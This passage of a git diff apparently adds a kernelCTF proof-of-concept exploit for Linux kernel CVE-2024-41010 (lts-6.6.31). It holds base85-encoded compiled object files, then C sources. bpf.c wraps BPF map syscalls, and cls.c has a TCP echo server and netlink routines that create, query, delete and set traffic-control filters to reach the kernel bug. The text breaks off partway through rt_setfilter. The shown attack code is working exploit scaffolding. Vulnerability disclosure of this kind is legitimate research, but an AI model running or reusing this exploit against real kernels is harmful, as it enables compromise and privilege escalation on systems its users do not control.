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

BVBY*;ybtzFfC&7y#;9ePNCTGX zK1;9TF|2mHn5nR953WPv7;S&bG_Csx-PayU5;f`25K^FIU*hK&+|>P`?zQ7{U_>9H zMIpCLO!g%Opi;_MEG`p&UPt-L?TsyuHGr#OI;eDF`^#bom?vj2VBaN`!!i9+=3tOZ z5M(4|JUf6cPRY#sS?p$in?@PB0U3ITYEC?+GqiJOR_9Cj9b673!S3soY03GgynQ!3 z`y^<7&9!GO=ttWeg159Y-GX~XSw|uza7=w3Ao)u!r?5;mq>j~6FYFl;cwyIJJn;w9 z4yt~djop8lu_g_Z3NE_wB~y>EDfuH~oor{3L$4sXI-E4-k%hD>LIC*3`=I$1R{IB@ zfX@G+B(g%Awfs>EIJG8rQ(*B0bhyrygwyUoJ2QAKaSFv^J!nmnzGXVS%qbaANV2@JezJq2_TV}{MB z_%Z6nz-nB{>N*xXcPzN~W%$f@2HW21LRP2Xv4?A>2`|}?WdHb6pq-yWa2sWvUuJcl zMK_x8fJ2UM6>qlp7KwAVcMn|jzEW=PpzJM2dIvM;hE^HYw>tt~eHuh^2fAKC z&X{iolM4xSw-^3a9+PW+Ej6Q5dGC;oTV zz=^5v`d*a|yk6x;Q>=@KU_7Kp59-6?R9q3Oae;1lDb`5AiSH2uy%|r6U|FbpG(R|! zjO$=j>4C1&GV_alN2?ya8m47+18eVB`6UVbJ_(%yNypJ-y78vm)aHm%C?#-<5mw$bhS$U?&IUO0ZT(i?}apm}2<9x16;%(5pi|B}YZc8tB<=mW6?sC_=a{O!#`}vXP zO{F9BwYV}lHX|ruQBG0^=2F8`@zEdn*{Zn(8mB3U3dPp1G2A2Mat8h`)Y#L6z^0yb zzbof9irvkK-R$(0F1OE$75T7S^IzBe+tO!~4}Mo^`Wp5XF&ziaGn$w21Eu%&bcB3G z#tdqc8Lr&hM*3U@Hy`G66?cpZj5%UWTgIHRqt0`+t;)zaF5R_!RmO#`m8&u;=*-9H z(WB^mP7?JKT29#cgw3V18HCNJvkQ_KOV=f3XVDpBGm^Y{Ni6-YBr!y1tZ*5f1xewY zBr&64ESsz3dGSMf|vGx(ZJGm6%*g~Bw#_>_JW8d5UocamXB zhC%c9(2_yhMq9zA7lnFNYN31}{Nz;F;IR$(bQ@01Nc_1rT*;3#7T9pg72?<1@QE64 zv*Gy~|EUe1tnnvpc(KMe*>Ik&Q16>Ie5U4qV8hEb&SQtTcCp5-zGz*Vr|~Z=Kpz)r zJk!=>l^VamhA-Cmkv6mUTHXQR9%19$%!)aYlc%2Pbc{b9B+3PJF4S!1GzqR4N)%dG6oZk*W9)4xRd20iFtZgdXsP&v? z!(Y;PsSW>&#w%?28yXMW@V7NyZ^Qql@t6(YtMOJFzF*_l+wdj_w!xw1$2wOkB68KSKowi%Mw+y&iW2O4r>40}T z;42;QUje6jt@`%pYJTUyU+aLsj5>TD zu3c#U8xD^;;L9BF8-bHwd3t`~eG=?n>A=6w0e{i~|BVAq_mhqi>wn&Nq2Bcl{EZIy zHV6DQ2YjakzRLmszybfz0pIU{f9`;%Bkses4496z%O^e z>m2a71O5{SyvqT<)d9c50l(J)|91!cVF&zi2mCn)oPH!4u6pf89PrN^ z@HDK$hO=js18#&{TN;`p@%(BdKRC01{&?w6A^n+5e~ReO6#6rj{!F7k#q_6y{&&*=a00jb*2?>@=1wW~pM9DrQbGbBfhf)?C7z66Tb!<`ULi!kSB1s)VIV zSaS)>mawe1fQ7vUEbT2QG+HX@UA~ZdIWH7#4Mp+lMJUn~i5r7&P#P`aXtX(sOavSX z#o`bORoB&r=v@Mv3VyZEQ2LBWZK$cTF&xLsJb3BQ!0Qn;L+F5FVS0fQPw6+eRFP`> zE_osSZcPe?_sPQ1P^`KxT$5-Br(BBEgc>X3)penGG=jGVqqw*@%rD&G#f=&x5~~YW zwiu8^U5(c3mh`Hn!S6iA;?e3xTyJQOg$=D@kcanCYHLF3y*8sV7KT|)Nwla}g77jSaFtrMdy8 z(>dPklIKbw)({T2=tkuCJX;cY8?%~2Xy9EDdJ_|e7!1dO-haefj#`_phTb>|H{xYR zWETvfH^kHzRLEb*sD^l?mJ-CMt!|1p7!aVqBg2}6Q+R_dTn`Yh#U>raIz`=YQ@;Z& z!FN0s&E-m*Q=w%dZFw#H5du*#EE|$fKd(|DK5Y#x{&NJP5TEWzTKEeDq7dGIkA++7 zHp1zioQ0pJ*TaN23%pR{R4;9PEdFf4j|jY4@M)`I@mmDHMc}sy{Az*UBlOVL#L}}$ z@TI>G3tam9dx1-TGxhqM4$@AwUsQ3EcB*}w!s(u+WslmQsdk}%w!*?^X#Mtf2?|`= zSt)R7=dA*l?Q*xq>2QRo_ZNaMk3B9b|l_YnoZG#rQo*-JR$IQfwv1i zM+$to;NK+hy98gx=VyX1UBC4^5#c62 z7T@|Umhf8z{s7LY5H92JIHL;h#<`_ujRU?_;BA8ch6Db-z;6@$Pc%;c9wqQY8Yep? zU)`rycJ>JV8EHy@_!KM4{%IN~{YMM@Y{8d#I7{F%4;Khrj(gV#{C1)LR)NcTO5HzJ z?MuJqTXsIA`DEuY0)I~ESt;-r1b&CWw+KDQ3jB4!zf<751TOXL7JBGjl4a*X!Iyf{ z$#4{k|G(j5@v}8f2f9~f;U@_GT>{S+xa_}Y3O&aQen{}CFIf8Hf-n1NyWrm>_&tJ8 zzwugn9u)k$1#bNgMgB@V>AoNp!X^K6f!~B{mj2OVoR@m&{vQ?6a}Pci|11YQC~&F2 zR^U>9yTI=i`j-n_j;nVH{AYsyyug1h@GTlAw@(oG*A9FaIf_F3@%UK&o}h6${6gU6 z0+;^I6M9Y*{Hq0ilE9Y=JyQR*0+-_n-5;VtcG7SDmYsJBzSQ%%;JXE%?w3%Z%d7CQ z^c*K}y4P&sr)iw(Jw@QN9Qch6_#F=TV-EPs4)`|?_%Zr-DDq3%?-RHjKPv?;$Ipbo z<@njDaf-vKA`YhD%lQ9H@Z~u0OToWM=;22~@ty3K{pD@Jm*emrfy?o8zo_?zLjSjd zFUQYJ+AN_^y;4t>#>rm~K2|=s1z+kpUEp#YK1b-0<8Yba%W*g;_!C6Ea|B<;`6_|8 z3jSiD=QM#g2)@+QCGcMg{!fLT9|`*W{8z@s?GdS4WLS?{YtzwCEA1pg*c@8<%S{cZ$p=258Le0;3^kF>v4;L^?&0+;>nd4bEg zZPPgURV?gzP4H#Cp9oyGP} zr+U*~#d*5m-|4{rh0uSl;I9*W8UOzh_=AG~-vXC;HOd7N3dKSCJ5}IP|3w-ne@pSP z;&z$fOMjyRm-<%iJOM($3?vAdEus zxd|W3-w7J0IQRt~6#N?mzR&?*C2$$%Ee`lt8oW@*9yu=kP~b8@iyZKX#>xINd@R4N z75FTH-y-zL_Pty1&lCLn9rzmrF5~&Fz-9c$9SNl$%g&QDPH~X-Ocl7)bBDlX zy?+q6UN7*`N8t+!+4(R&N&6k}Ne=i-2Yimk$|E16q6!=2|m;K@?p-1++KL}jr^UDI4_8dVsB~i%V3-Phy z`2&GpB=D0pPVtxZdIkSt!7mm3I|W`X__GCGC-_qT^@2Y~@NW}%g}~PeJ+j`v2wb+~ zI|7&S`CRCi`EX)3Dnp?-$T&|G_#?Px#q)fPQ=Bgmc!dLhiQvx_{ALG!x8Tnc{FM&; zCk3BwiCK33+JV1K@aGHuD-QgR1%H9yA8_Dj9Rm^y#fR+C%YGwU;}mBZ&jK6&R9vSr z#eqM^#xGQKW4;5wN$?kfYsDw#!0#6PO9g+W1OHLMCx6e<_B`dl-zfN(3H^U`;C~|c za@-hwtg6VKx5o)w=Kl!3@Dl}Iq;ZO~ z^tV#rHwk`|z-7Jn3;orC|DxbOD)8+Be@x)Jgq|9Kk31eF>pmC&f7`YkrxdT#y`8*V)} zZ@pJ&>9?MnAD^ZKEZll-zQ~4K&&>yHxb@up=2H}dJ9`!@2c@X%U*w3)sT-J6dG8P!)DEi$g)pXtW~ zb@|oJcnGZt()dS>!})kiJddAU)ZZ63CGzpF(c|I9_%baXt_$J+Cx8di{{M>`D#+!- zY^qB2_l%LL7j$@%;0ZXRIF%+5b&~5-$K_g{wyz|csbK!?m`+c_hj5y+WtnNK*Scn} z{|sCpo&T@$UdWQpLVRSg>ZgBzNfxVq>sX45bWV9B%hP(lK1+f)x8y9C_6UU8Q-&H{X7Ihd=yQG8{w>bH(HxM-bAo@b)` zHh6C5#&L=4vd1r1%ex0f`OLE4f@zOSI_>fSE#GguV3)rIvctu1yY5_WZ7{`e3_g~; zp5BJ78#E(R2af*HJ}Pv(B!Z7!{%~OS+y!KeJDdLE*%4bmu*Z+K^~1@3Qp@7}%z`>o If9>-B3%V_&Y5)KL literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/log.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/log.o new file mode 100644 index 0000000000000000000000000000000000000000..7e9e9b8c6f40ece9568179c4162dfe37e2c641ef GIT binary patch literal 2240 zcmbtU-)kII6uy%mO|9!pY(m*usq>JQ6zs6GM(Gxmy~%E~fuO-Q7O{2N-AuBj`>VS% zWm7>P76XH>Ej|gp_&4}aiVr5(K8Q~u_|z6k>4UKmQpHkA>3YuWIrTD3Ui84-bIy0a z@7%lR-aDUU=T8i1nqbq!TjJl0Q6bX9N*sh~p^F#9U&g`5o0wxDPy2sf8---P`zB)Y zz0O@@&VMQwkNhl8E&6|-%yqWnpZ@Y4P8yjX?3>!QpP7hB|90xkM9f(G7DfIo*|}$U zdo%v;^ZwIy+>O2Q8%i>%KQ6u`jjQ7abKTbwP$%z?MS!yN#PCkbZdS{7od=oJo&6h~ zJKNcAWmwCmw%pg&O{gMMTdi063;1{EjPJ+yh&N z06ulg|n zq&_*Vo6~xHS|6R(cTMvgI?6+V8o3Y35d$2B4Lbh-aFTOk#K_n^83K=RqC@2 zdw{(N+XMi}XI{_`z+QzB#ZT>k&+dSWN`1vD32S~Pfj>6>B*l_b^j5@*!88;2WS5T?i<><0PWus{4b1O zA{_a6Ul?B_95I!DnQ-LeX)yn5!o&QZ6dWG{^EVazc?Ey81I{Op_3aJtKQ#;yn3#IdvuhcxN(X2O|rn?GKEa;T;%gsX7;SKyhZ-N}(&aP0IH05JBsaPl# z2Vf3+m{vF#enTIMZNl+PP|J@vPWWNM`MW}}I2m4uCc-ej8?5NKW0r#gG>)6l1B*!Z6%P25{`#xZJf7QE+b-p6KiHTy|e}*nVfYh-5 z8tL0iBp=pS0FOHVD+q#dU-10#&9I)&KWgnjM;kI}A29&&j)wJEGko@_Um)-uOcbMX U&k+2sN9i|c{~tYL_JgqgAGmlZ?f?J) literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/rtnetlink.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/rtnetlink.o new file mode 100644 index 0000000000000000000000000000000000000000..a1c972f897281b8ebaf7717d51f01dcc64b4258a GIT binary patch literal 2528 zcmbuA-H%gM5WuJ1D_f;>D~c?^XrIVx;M%SmVn{SwcBOYsfkfQ!AY{2Mw=B}VyWXBg zRuXt9A)H_nO*G-b2Tk_TME`^$B!DkG_{AfS#26E^J`mglXU?5zug69coaA(7erM*K zb7#)Iz3^uBKsuEIkrccE15YTx7n=t5v@xe)3uIw^?1hI7{Xx2Mb2J0qm9(cT&XxTc zUCDagO8z=cm)|MtKjuCC;}K8)>FJ;EQ@YnZ;xuM;9TR@*dQPV|iZczpxpQyBtKVK< z^R9ZSyYC(^A2UlJ^7Mmh_pn2I&FNbWJ?813s`}3QTDj93DP!8fdas)5nQ#o~&N-N2 zPNv7I`q~`sK>2eRiD{U;z9!+FZ_ToJVAR{q3S-|=_<{#*v9DE}D6pu7?*!&cZ%vWv`~NyJ@cdwYU?#rC!Y>#_Y@g8jgDGR|Bs z5>21B6RomBpp6 zRBsZA?->u^bJoJ8uisc)`g+6S($~8dm%jdLap|jEY1vo$3T|t4N%=L@DvI@@SW(dQ zT@{>F;GXoA4{oj10=K@rv=oHM!ete>_-)$LQhxmm`=`RTyAmz01d&<=*Q^jME;J&4 zDd3a+KUKhVx{`^%FSFpZ`30Eg`^v67wzxp=G2MmfK8cMyT@IA-Siw`MX{ikR!gn#3 z?=VlpXV$*LZM+*NXwApXFJUgNS;UbP*`L-=itI0XA5My$jJq}r4vBpW*(eUWM@hNG z`Gq7zTk0pch6aV&`S&?LZ=J)=r|;pg{!MWIGMrESqg=_C{teq3!{7lQXp!?bBcmSK m`A;%O^*1>|heG)}R{dY=ao}m3v3pO!MZVC@er9ag`F{bAtv#3k literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/setup.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/setup.o new file mode 100644 index 0000000000000000000000000000000000000000..0a2ff01b04e3eef481fa992af49ff7db26989aa5 GIT binary patch literal 2352 zcmbuA%}*0i5WuH=D5%tmN=Ptf52z4j(99qJ&ve7F5R&RQk) zDBIqUDu4a)LeIR`dpBzVt~KkgHny$MX5|n1$1kTFd)7A4fK>VO${nI_nYmP1Xwe__ z(h9RzDS~PG13!IMKkD!2)%$#Ljmqe|{D!JKyNY_uU+~i`RZ9B_CK#-qU#nbvbE#`W zaWgq9Yq*wYPEFEX%uZYXF68LKx#OhG}6g)0Qb+Ge8 zHdDnPuzia2Y6jHQK%5>LJ-Wek-Tbs|cm*RB|*~Q!faf=N$Wt^_bwcw@YO$RKx3#Y@i= z=H@ILUF?EqsrX8FvCHK4v|Uu^odVuAeq~ga(8?K8jyY$E%KmRwFr41uZGkiiZm$P8 z`O4CU2Ayp}hN!Re50b(I=*~%{-Xfv*m*g-G;^O;7j6}rw*48t)|1n&moc|iHVJzkB z#vzN?e^iF3i~Yr%;4B{SbGZZ6CyR&^^J!cZy6pEf42Jk#Kt}Je+^dx58IM=UkVKrn zKvz*A*I;~w$DbFDd=AFXA`iQN_6LP);#}zd>HQP&;{L<-MmK2X1)bq_>_SF88jPo$ g!MjHUISySiB;o1)kUgk{#mD(y)Qvx$z7mZ84R2^Y=l}o! literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c new file mode 100644 index 00000000..683b9706 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c @@ -0,0 +1,41 @@ +#include +#include +#include "bpf.h" + +int bpf(int cmd, union bpf_attr *attrs) { + return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +} + +int map_create(int val_size, int max_entries) { + union bpf_attr attr = { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = sizeof(int), + .value_size = val_size, + .max_entries = max_entries + }; + int mapfd = bpf(BPF_MAP_CREATE, &attr); + if (mapfd == -1) perror("bpf(BPF_MAP_CREATE)"); + return mapfd; +} + +int map_update(int mapfd, int key, void *pval) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)pval, + .flags = BPF_ANY + }; + int res = bpf(BPF_MAP_UPDATE_ELEM, &attr); + if (res == -1) perror("bpf(BPF_MAP_UPDATE_ELEM)"); + return res; +} + +int map_lookup(int mapfd, int key, void *pval) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)pval, + .flags = BPF_ANY + }; + return bpf(BPF_MAP_LOOKUP_ELEM, &attr); +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c new file mode 100644 index 00000000..3dff6847 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c @@ -0,0 +1,1547 @@ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "rtnetlink.h" +#include "cls.h" +#include "log.h" +#include "setup.h" + +/** + * start_echo_sv(): starting the TCP server for sending and receiving network package +*/ +void start_echo_sv() +{ + int sfd = 0, sock = 0, r = 0, n = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = {0}; + char dev_name[] = "br0\0"; + + if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + errout("socket"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = inet_addr(TRIG_HOST); + address.sin_port = htons(TRIG_PORT); + + if (bind(sfd, (struct sockaddr *)&address, sizeof(address)) < 0) + errout("bind"); + + if (listen(sfd, 3) < 0) + errout("listen"); + + if ((sock = accept(sfd, (struct sockaddr *)&address, (socklen_t *)&addrlen)) < 0) + errout("accept"); + + r = read(sock, buffer, 4); + + /* write: echo the input string back to the client */ + n = write(sock, buffer, r); + if (n < 0) + errout("ERROR writing to socket"); + + close(sock); + close(sfd); + + return; +} + +/** + * rt_addfilter(): create a new filter + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + * @handle: filter handle, using for identify in the list of many filters + * @class_id: class_id + */ +void rt_addfilter(int sock, unsigned int link_id, unsigned int parent, unsigned int handle, unsigned int chain, char *kind, int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + int proto; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_addfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_NEWTFILTER; // tc_new_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + t = NLMSG_DATA(nlh); + proto = 0x300; + t->tcm_info = (prio << 16) | (proto); + t->tcm_parent = parent; + t->tcm_handle = handle; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + if (chain != 0){ + tca = set_u32_attr(tca, TCA_CHAIN, htonl(chain)); + } + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + if(sendmsg(sock, &msg, 0) < 0){ + perror("[-] sendmsg"); + } + + free(nlh); +} + +/** + * rt_getfilter(): get tcindex filter operations + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + * @buf_rcv: buffer to copy data to + */ +void rt_getfilter(int sock, unsigned int link_id, unsigned int handle, void *buf_recv) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + int prio, proto, ret; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_getfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_GETTFILTER; // tc_new_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + t = NLMSG_DATA(nlh); + prio = 1; + proto = 0x300; + t->tcm_info = (prio << 16) | (proto); + t->tcm_parent = 0x10000; + t->tcm_handle = handle; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + ret = recvmsg(sock, &msg, 0); + if (ret == -1) + perror("[-] recvmsg"); + + /* Free used structures */ + free(nlh); + +} + +/** + * rt_delfilter(): delete tcindex filter operations + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + * @handle: filter handle, using for identify in the list of many filers + */ +void rt_delfilter(int sock, unsigned int link_id, unsigned int handle, unsigned int parent, unsigned int chain, char *kind, int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + int proto; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_delfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_DELTFILTER; // tc_del_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + t = NLMSG_DATA(nlh); + proto = 0x300; + t->tcm_info = (prio << 16) | (proto); + t->tcm_parent = parent; + t->tcm_handle = handle; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + tca = set_u32_attr(tca, TCA_CHAIN, htonl(chain)); + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_setfilter(): set tcindex filter operations + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + */ +void rt_setfilter(int sock, unsigned int link_id, char *kind) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_setfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_NEWTFILTER; // tc_new_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + // Attribute failed policy validation + t = NLMSG_DATA(nlh); + t->tcm_info = (1 << 16) | (0x300); + t->tcm_parent = 0x10000; + t->tcm_handle = 1; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + set_u32_attr(tca, TCA_CHAIN, 7); + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // 